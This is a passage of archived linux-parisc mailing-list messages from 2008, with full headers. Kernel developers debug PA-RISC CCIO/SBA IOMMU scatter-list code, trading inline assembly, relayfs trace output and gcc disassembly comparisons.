> Of course, this is a machine with CCIO, so it could be something going
> wrong with the CCIO programming too.  But I think it's Dino.

I doubt it too. I agree it's much more likely something with Dino.

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: in ccio_io_pdir_entry(),BUG_ON() seems to break gcc-4.2	optimization?
Date: Mon, 30 Jun 2008 18:28:36 +0000
Lines: 47
Approved: news@gmane.org
Message-ID: <486925D4.7090608@scarlet.be>
References: <K324MR$1963B6E59C4D4D716463AB17911CD186@scarlet.be> <20080628202347.GA23898@colo.lackof.org> <4866BA91.9040607@scarlet.be> <20080629205242.GA7629@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1214850584 22648 80.91.229.12 (30 Jun 2008 18:29:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 30 Jun 2008 18:29:44 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 30 20:30:29 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KDO8x-0003Av-1J
	for glpp-linux-parisc@gmane.org; Mon, 30 Jun 2008 20:30:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752771AbYF3S3e (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 30 Jun 2008 14:29:34 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752856AbYF3S3e
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 30 Jun 2008 14:29:34 -0400
Original-Received: from eir.is.scarlet.be ([193.74.71.27]:38502 "EHLO eir.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752771AbYF3S3d (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 30 Jun 2008 14:29:33 -0400
Original-Received: from [213.49.83.246] (ip-213-49-83-246.dsl.scarlet.be [213.49.83.246])
	(authenticated bits=0)
	by eir.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m5UISaqD018018;
	Mon, 30 Jun 2008 20:28:37 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.14 (X11/20080509)
In-Reply-To: <20080629205242.GA7629@colo.lackof.org>
X-DCC-scarlet.be-Metrics: eir 20001; Body=3 Fuz1=3 Fuz2=3
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:479
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/479>

Hello Grant,

Grant Grundler wrote:
> On Sat, Jun 28, 2008 at 10:26:25PM +0000, Joel Soete wrote:
> ...
>>> What's wrong with "ci" variable? It's just another register.
>> well the idea is that "ci" variable is just there as a tmp variable just 
>> used in this asm code, right.
>> so why not simply get rid of its declaration (btw save a line of code ;-)) 
>> and just use a common temporay reg as r19?
> 
> No - don't do that. Let the compiler do the work of allocating registers.
> It's really good at it. :)  Much better than you and I combined. :)

You and gcc already prove it to me ;-)

> All we need to do is tell the compiler we need a register.
> 
Ok

Taken also into account of David remarks, here is the latest stuff tested with success:

         __asm__ __volatile__ (
         "lci    %%r0(%%sr1, %2), %0\n"
         "\textru        %0,19,12,%0\n"
         "\tdepw         %0,15,12,%1\n"
         : "=r" (ci), "=r" (pa)
         : "r" (vba)
         );

Tx to all for kind comments, they learn me a lot ;-)

J.

> cheers,
> grant
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: About iommu-helpers.h: where can I find detailed info on the scatter 
	list programming?
Date: Tue,  1 Jul 2008 15:29:10 +0100
Lines: 244
Approved: news@gmane.org
Message-ID: <K3C08M$52B5B257A95AE32854A54A32CC567578@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1214922617 15614 80.91.229.12 (1 Jul 2008 14:30:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 1 Jul 2008 14:30:17 +0000 (UTC)
Cc: "linux-parisc" <linux-parisc@vger.kernel.org>
To: "grundler" <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 01 16:31:02 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KDgsf-00028u-1G
	for glpp-linux-parisc@gmane.org; Tue, 01 Jul 2008 16:30:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754742AbYGAOaA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 1 Jul 2008 10:30:00 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755166AbYGAOaA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 1 Jul 2008 10:30:00 -0400
Original-Received: from sif.is.scarlet.be ([193.74.71.28]:43624 "EHLO sif.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754742AbYGAO37 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 1 Jul 2008 10:29:59 -0400
Original-Received: from scarlet.be (fuji.is.scarlet.be [193.74.71.41])
	by sif.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m61ETADA010954;
	Tue, 1 Jul 2008 16:29:12 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-DCC-scarlet.be-Metrics: sif; whitelist
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:480
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/480>

Hello Grant,

I am looking for such kind of reference because I am totally ignorant on this
subject (as well as many others ;-) ) and didn't find yet the good entry point?

Re-reading ccio-dma code for the n*1000 time, I noticed your comment:
/* Fast path single entry scatterlists */
if (nents == 1) {
[snip]

This comment make me thought: it's just a shortcut and the rest of the code
would just slowdown operation?

No?

In fact the 2 drivers (sba and ccio) without this hunk of code make panicing
the boot. 
For the ccio: some where in the initialization of the first scsi drive (no
more info)
For the sba: seems nearly at the same place but with addtional message
[snip]
sym0: <895a> rev 0x1 at pci 0000:00:0f.0 irq 20
sym0: PA-RISC Firmware, ID 7, Fast-40, LVD, parity checking
sym0: SCSI BUS has been reset.
scsi0 : sym-2.2.3
Kernel panic - not syncing:
/Extra/linux-current-trace/drivers/parisc/sba_iommu.c: I/O MMU @ 0000a000 is
out of mapping resources   

Is it normal?

Then with help of relayfs and Mathieu Denoyer's patch, I introduced some
tracepoint in iommu-helpers.h as follow:

static inline unsigned int
iommu_fill_pdir(struct ioc *ioc, struct scatterlist *startsg, int nents,
                unsigned long hint,
                void (*iommu_io_pdir_entry)(u64 *, space_t, unsigned long,
                                            unsigned long))
{
        struct scatterlist *dma_sg = startsg;   /* pointer to current DMA */
        unsigned int n_mappings = 0;
        unsigned long dma_offset = 0, dma_len = 0;
        u64 *pdirp = NULL;

#ifdef CONFIG_RELAY_DEBUGFS
START:
        {
        unsigned long start = (unsigned long)&&START;
        TRC_RES(iommu_fill_pdir_start, "%s() at 0x%lx\n", __func__, start);
        };
#endif

[snip]
        while (nents-- > 0) {
                unsigned long vaddr;
                long size;

                DBG_RUN_SG(" %d : %08lx/%05x %08lx/%05x\n", nents,
                           (unsigned long)sg_dma_address(startsg),
sg_dma_len(startsg),
                           sg_virt_addr(startsg), startsg->length
                );

#ifdef CONFIG_RELAY_DEBUGFS
                TRC_RUN_SG(iommu_fill_pdir_1,
                        " %d : 0x%lx/0x%x 0x%lx/%x\n", nents,
                        (unsigned long)sg_dma_address(startsg),
sg_dma_len(startsg),
                        sg_virt_addr(startsg), startsg->length
                );
#endif

[snip]

                        vaddr += IOVP_SIZE;
                        size -= IOVP_SIZE;
                        pdirp++;
                } while(unlikely(size > 0));
                startsg++;
        }

#ifdef CONFIG_RELAY_DEBUGFS
DONE:
        {
        unsigned long done = (unsigned long)&&DONE;
        TRC_RES(iommu_fill_pdir_done, "%s() at 0x%lx\n", __func__, done);
        };
#endif

        return(n_mappings);
}

Well relayfs is may be not perfect (some time I lost some messages) but I can
anyway collect info like:

[snip]
  1882 :1214908412951002084:ccio_alloc_range_2:ccio_alloc_range() res_idx
0xd13 res_hint: 0x1fc3ad10
  1883 :1214908412951265428:iommu_coalesce_chunks_done:iommu_coalesce_chunks()
at 0x1024c26c
  1884 :1214908412951325361:iommu_fill_pdir_start:iommu_fill_pdir() at 0x1024c2ac
  1885 :1214908412951393706:iommu_fill_pdir_1: 11 : 0x86893c00/0x400
0x1b5d4c00/400
  1886 :1214908412951462584:iommu_fill_pdir_2: dma_sg == 0x1fd37420 ?< startsg
== 0x1fd37420
  1887 :1214908412951531800:iommu_fill_pdir_1: 10 : 0x86894800/0x400
0x1f6e8800/400
  1888 :1214908412951599045:iommu_fill_pdir_2: dma_sg == 0x1fd37434 ?< startsg
== 0x1fd37434
  1889 :1214908412951666334:iommu_fill_pdir_1: 9 : 0x86895c00/0x400 0x1f14ac00/400
  1890 :1214908412951733250:iommu_fill_pdir_2: dma_sg == 0x1fd37448 ?< startsg
== 0x1fd37448
  1891 :1214908412951800517:iommu_fill_pdir_1: 8 : 0x86896800/0x400 0x10526800/400
  1892 :1214908412951867600:iommu_fill_pdir_2: dma_sg == 0x1fd3745c ?< startsg
== 0x1fd3745c
  1893 :1214908412951935067:iommu_fill_pdir_1: 7 : 0x86897800/0x400 0x10525800/400
  1894 :1214908412952003684:iommu_fill_pdir_2: dma_sg == 0x1fd37470 ?< startsg
== 0x1fd37470
  1895 :1214908412952070750:iommu_fill_pdir_1: 6 : 0x86898800/0x400 0x100d9800/400
  1896 :1214908412952137567:iommu_fill_pdir_2: dma_sg == 0x1fd37484 ?< startsg
== 0x1fd37484
  1897 :1214908412952204734:iommu_fill_pdir_1: 5 : 0x86899000/0x400 0x10753000/400
  1898 :1214908412952271684:iommu_fill_pdir_2: dma_sg == 0x1fd37498 ?< startsg
== 0x1fd37498
  1899 :1214908412952338850:iommu_fill_pdir_1: 4 : 0x8689ac00/0x400 0x100f7c00/400
  1900 :1214908412952405934:iommu_fill_pdir_2: dma_sg == 0x1fd374ac ?< startsg
== 0x1fd374ac
  1901 :1214908412952473067:iommu_fill_pdir_1: 3 : 0x8689b800/0x400 0x1f5f7800/400
  1902 :1214908412952539984:iommu_fill_pdir_2: dma_sg == 0x1fd374c0 ?< startsg
== 0x1fd374c0
  1903 :1214908412952607284:iommu_fill_pdir_1: 2 : 0x8689c400/0x400 0x1f2f6400/400
  1904 :1214908412952674367:iommu_fill_pdir_2: dma_sg == 0x1fd374d4 ?< startsg
== 0x1fd374d4
  1905 :1214908412952741700:iommu_fill_pdir_1: 1 : 0x8689dc00/0x400 0x1d7abc00/400
  1906 :1214908412952808922:iommu_fill_pdir_2: dma_sg == 0x1fd374e8 ?< startsg
== 0x1fd374e8
  1907 :1214908412952875811:iommu_fill_pdir_1: 0 : 0x8689e800/0x400 0x1d3a5800/400
  1908 :1214908412952942472:iommu_fill_pdir_2: dma_sg == 0x1fd374fc ?< startsg
== 0x1fd374fc
  1909 :1214908412953004089:iommu_fill_pdir_done:iommu_fill_pdir() at 0x1024c52c
  1910 :1214908412953063117:ccio_map_sg_2:ccio_map_sg() DONE 12 mappings
  1911 :1214908412968545783:ccio_unmap_sg_1:ccio_unmap_sg() START 12 entries,
 1b5d4c00,400

[snip]
  7125 :1214908449024631922:iommu_coalesce_chunks_done:iommu_coalesce_chunks()
at 0x1024c26c
  7126 :1214908449024692195:iommu_fill_pdir_start:iommu_fill_pdir() at 0x1024c2ac
  7127 :1214908449024759656:iommu_fill_pdir_1: 24 : 0x82e40000/0x10000
0x177dc000/1000
  7128 :1214908449024829078:iommu_fill_pdir_2: dma_sg == 0x1fd382c0 ?< startsg
== 0x1fd382c0
  7129 :1214908449024895239:iommu_fill_pdir_1: 23 : 0x0/0x0 0x177db000/1000
  7130 :1214908449024965489:iommu_fill_pdir_2: dma_sg == 0x1fd382c0 ?< startsg
== 0x1fd382d4
  7131 :1214908449025030956:iommu_fill_pdir_1: 22 : 0x0/0x0 0x177da000/1000
  7132 :1214908449025095917:iommu_fill_pdir_2: dma_sg == 0x1fd382c0 ?< startsg
== 0x1fd382e8
  7133 :1214908449025161356:iommu_fill_pdir_1: 21 : 0x0/0x0 0x177d9000/1000
  7134 :1214908449025226456:iommu_fill_pdir_2: dma_sg == 0x1fd382c0 ?< startsg
== 0x1fd382fc
  7135 :1214908449025291889:iommu_fill_pdir_1: 20 : 0x0/0x0 0x177d8000/1000
  7136 :1214908449025356850:iommu_fill_pdir_2: dma_sg == 0x1fd382c0 ?< startsg
== 0x1fd38310
  7137 :1214908449025422456:iommu_fill_pdir_1: 19 : 0x0/0x0 0x177d7000/1000
  7138 :1214908449025487589:iommu_fill_pdir_2: dma_sg == 0x1fd382c0 ?< startsg
== 0x1fd38324
  7139 :1214908449025553222:iommu_fill_pdir_1: 18 : 0x0/0x0 0x177d6000/1000
  7140 :1214908449025618484:iommu_fill_pdir_2: dma_sg == 0x1fd382c0 ?< startsg
== 0x1fd38338
  7141 :1214908449025683789:iommu_fill_pdir_1: 17 : 0x0/0x0 0x177d5000/1000
  7142 :1214908449025748622:iommu_fill_pdir_2: dma_sg == 0x1fd382c0 ?< startsg
== 0x1fd3834c
  7143 :1214908449025814056:iommu_fill_pdir_1: 16 : 0x0/0x0 0x177d4000/1000
  7144 :1214908449025879050:iommu_fill_pdir_2: dma_sg == 0x1fd382c0 ?< startsg
== 0x1fd38360
  7145 :1214908449025944539:iommu_fill_pdir_1: 15 : 0x0/0x0 0x177d3000/1000
  7146 :1214908449026009672:iommu_fill_pdir_2: dma_sg == 0x1fd382c0 ?< startsg
== 0x1fd38374
  7147 :1214908449026075139:iommu_fill_pdir_1: 14 : 0x0/0x0 0x177d2000/1000
  7148 :1214908449026140100:iommu_fill_pdir_2: dma_sg == 0x1fd382c0 ?< startsg
== 0x1fd38388
  7149 :1214908449026205672:iommu_fill_pdir_1: 13 : 0x0/0x0 0x177d1000/1000
  7150 :1214908449026270806:iommu_fill_pdir_2: dma_sg == 0x1fd382c0 ?< startsg
== 0x1fd3839c
  7151 :1214908449026336422:iommu_fill_pdir_1: 12 : 0x0/0x0 0x177d0000/1000
  7152 :1214908449026401684:iommu_fill_pdir_2: dma_sg == 0x1fd382c0 ?< startsg
== 0x1fd383b0
  7153 :1214908449026467206:iommu_fill_pdir_1: 11 : 0x0/0x0 0x177dd000/1000
  7154 :1214908449026532200:iommu_fill_pdir_2: dma_sg == 0x1fd382c0 ?< startsg
== 0x1fd383c4
  7155 :1214908449026598072:iommu_fill_pdir_1: 10 : 0x0/0x0 0x177eb000/1000
  7156 :1214908449026665228:iommu_fill_pdir_2: dma_sg == 0x1fd382c0 ?< startsg
== 0x1fd383d8
  7157 :1214908449026730839:iommu_fill_pdir_1: 9 : 0x0/0x0 0x177ea000/1000
  7158 :1214908449026796150:iommu_fill_pdir_2: dma_sg == 0x1fd382c0 ?< startsg
== 0x1fd383ec
  7159 :1214908449026864200:iommu_fill_pdir_1: 8 : 0x82e50000/0x9000
0x177e9000/1000
  7160 :1214908449026932067:iommu_fill_pdir_2: dma_sg == 0x1fd382d4 ?< startsg
== 0x1fd38400
  7161 :1214908449026997739:iommu_fill_pdir_1: 7 : 0x0/0x0 0x177e8000/1000
  7162 :1214908449027063117:iommu_fill_pdir_2: dma_sg == 0x1fd382d4 ?< startsg
== 0x1fd38414
  7163 :1214908449027129006:iommu_fill_pdir_1: 6 : 0x0/0x0 0x177e7000/1000
  7164 :1214908449027194417:iommu_fill_pdir_2: dma_sg == 0x1fd382d4 ?< startsg
== 0x1fd38428
  7165 :1214908449027260439:iommu_fill_pdir_1: 5 : 0x0/0x0 0x177e6000/1000
  7166 :1214908449027325356:iommu_fill_pdir_2: dma_sg == 0x1fd382d4 ?< startsg
== 0x1fd3843c
  7167 :1214908449027391039:iommu_fill_pdir_1: 4 : 0x0/0x0 0x177e5000/1000
  7168 :1214908449027455872:iommu_fill_pdir_2: dma_sg == 0x1fd382d4 ?< startsg
== 0x1fd38450
  7169 :1214908449027521739:iommu_fill_pdir_1: 3 : 0x0/0x0 0x177e4000/1000
  7170 :1214908449027586800:iommu_fill_pdir_2: dma_sg == 0x1fd382d4 ?< startsg
== 0x1fd38464
  7171 :1214908449027652606:iommu_fill_pdir_1: 2 : 0x0/0x0 0x177e3000/1000
  7172 :1214908449027717417:iommu_fill_pdir_2: dma_sg == 0x1fd382d4 ?< startsg
== 0x1fd38478
  7173 :1214908449027783189:iommu_fill_pdir_1: 1 : 0x0/0x0 0x177e2000/1000
  7174 :1214908449027848139:iommu_fill_pdir_2: dma_sg == 0x1fd382d4 ?< startsg
== 0x1fd3848c
  7175 :1214908449027913478:iommu_fill_pdir_1: 0 : 0x0/0x0 0x177e1000/1000
  7176 :1214908449027978322:iommu_fill_pdir_2: dma_sg == 0x1fd382d4 ?< startsg
== 0x1fd384a0
  7177 :1214908449028039450:iommu_fill_pdir_done:iommu_fill_pdir() at 0x1024c52c
  7178 :1214908449028097834:ccio_map_sg_2:ccio_map_sg() DONE 2 mappings

and what is specially confusing to me are the values of couple "(unsigned
long)sg_dma_address(startsg)/sg_dma_len(startsg)" (see trace point
iommu_fill_pdir_1).

As I have no clue on what is correct or what is wrong, I very need more advises.

Tx in adavance,
    j.


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: in ccio_io_pdir_entry(),BUG_ON() seems to break gcc-4.2
	optimization?
Date: Tue, 1 Jul 2008 22:28:21 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <20080702042821.GB19593@colo.lackof.org>
References: <K324MR$1963B6E59C4D4D716463AB17911CD186@scarlet.be> <20080628202347.GA23898@colo.lackof.org> <4866BA91.9040607@scarlet.be> <20080629205242.GA7629@colo.lackof.org> <486925D4.7090608@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1214972921 25375 80.91.229.12 (2 Jul 2008 04:28:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 2 Jul 2008 04:28:41 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 02 06:29:26 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KDty9-0005Bp-VC
	for glpp-linux-parisc@gmane.org; Wed, 02 Jul 2008 06:29:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750774AbYGBE2c (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 2 Jul 2008 00:28:32 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750786AbYGBE2c
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 2 Jul 2008 00:28:32 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:44583 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750774AbYGBE2c (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 2 Jul 2008 00:28:32 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 581704F8102;
	Tue,  1 Jul 2008 22:28:31 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19217-03; Tue, 1 Jul 2008 22:28:21 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 1B1644F8101; Tue,  1 Jul 2008 22:28:21 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <486925D4.7090608@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:481
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/481>

On Mon, Jun 30, 2008 at 06:28:36PM +0000, Joel Soete wrote:
...
> Taken also into account of David remarks, here is the latest stuff tested 
> with success:
>
>         __asm__ __volatile__ (
>         "lci    %%r0(%%sr1, %2), %0\n"
>         "\textru        %0,19,12,%0\n"
>         "\tdepw         %0,15,12,%1\n"
>         : "=r" (ci), "=r" (pa)
>         : "r" (vba)
>         );

So can you remind me (and Kyle) why this is better than what is
there now?

> Tx to all for kind comments, they learn me a lot ;-)

welcome! :)

grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: in ccio_io_pdir_entry(),BUG_ON() seems to break gcc-4.2	optimization?
Date: Wed, 02 Jul 2008 18:01:45 +0000
Lines: 49
Approved: news@gmane.org
Message-ID: <486BC289.6050405@scarlet.be>
References: <K324MR$1963B6E59C4D4D716463AB17911CD186@scarlet.be> <20080628202347.GA23898@colo.lackof.org> <4866BA91.9040607@scarlet.be> <20080629205242.GA7629@colo.lackof.org> <486925D4.7090608@scarlet.be> <20080702042821.GB19593@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1215021764 9955 80.91.229.12 (2 Jul 2008 18:02:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 2 Jul 2008 18:02:44 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 02 20:03:29 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KE6fw-0001y7-Bm
	for glpp-linux-parisc@gmane.org; Wed, 02 Jul 2008 20:03:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751295AbYGBSCf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 2 Jul 2008 14:02:35 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752225AbYGBSCf
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 2 Jul 2008 14:02:35 -0400
Original-Received: from eir.is.scarlet.be ([193.74.71.27]:34914 "EHLO eir.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751014AbYGBSCe (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 2 Jul 2008 14:02:34 -0400
Original-Received: from [213.49.79.151] (ip-213-49-79-151.dsl.scarlet.be [213.49.79.151])
	(authenticated bits=0)
	by eir.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m62I1jXT020033;
	Wed, 2 Jul 2008 20:01:46 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.14 (X11/20080509)
In-Reply-To: <20080702042821.GB19593@colo.lackof.org>
X-DCC-scarlet.be-Metrics: eir 20001; Body=3 Fuz1=3 Fuz2=3
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:482
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/482>



Grant Grundler wrote:
> On Mon, Jun 30, 2008 at 06:28:36PM +0000, Joel Soete wrote:
> ...
>> Taken also into account of David remarks, here is the latest stuff tested 
>> with success:
>>
>>         __asm__ __volatile__ (
>>         "lci    %%r0(%%sr1, %2), %0\n"
>>         "\textru        %0,19,12,%0\n"
>>         "\tdepw         %0,15,12,%1\n"
>>         : "=r" (ci), "=r" (pa)
>>         : "r" (vba)
>>         );
> 
> So can you remind me (and Kyle) why this is better than what is
> there now?
> 
mmm may be because gcc consider it now as only 1 'volatile' instruction:

in <ccio_map_sg>
-----------< Original code > --------------+------------< New stuff >-----------------
200: 06 80 53 13  lci r0(sr1,r20),r19      |  200: 08 1a 02 54  copy r26,r20
204: d2 73 1a 74  extrw,u r19,19,12,r19    |  204: 06 a0 53 14  lci r0(sr1,r21),r20
208: 08 1a 02 5c  copy r26,ret0            |  208: d2 94 1a 74  extrw,u r20,19,12,r20
20c: d7 93 0e 14  depw r19,15,12,ret0      |  20c: d7 94 0e 14  depw r20,15,12,ret0
210: 0e dc 12 80  stw ret0,0(r22)             210: 0e dc 12 80  stw ret0,0(r22)
214: 06 c0 12 80  fdc r0(r22)                 214: 06 c0 12 80  fdc r0(r22)
218: 00 00 04 00  sync                        218: 00 00 04 00  sync

thought?

>> Tx to all for kind comments, they learn me a lot ;-)
> 
> welcome! :)
> 
> grant
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: in ccio_io_pdir_entry(),BUG_ON() seems to break gcc-4.2
	optimization?
Date: Mon, 7 Jul 2008 09:28:35 -0600
Lines: 31
Approved: news@gmane.org
Message-ID: <20080707152835.GA5869@colo.lackof.org>
References: <K324MR$1963B6E59C4D4D716463AB17911CD186@scarlet.be> <20080628202347.GA23898@colo.lackof.org> <4866BA91.9040607@scarlet.be> <20080629205242.GA7629@colo.lackof.org> <486925D4.7090608@scarlet.be> <20080702042821.GB19593@colo.lackof.org> <486BC289.6050405@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1215444539 18214 80.91.229.12 (7 Jul 2008 15:28:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 7 Jul 2008 15:28:59 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 07 17:29:45 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
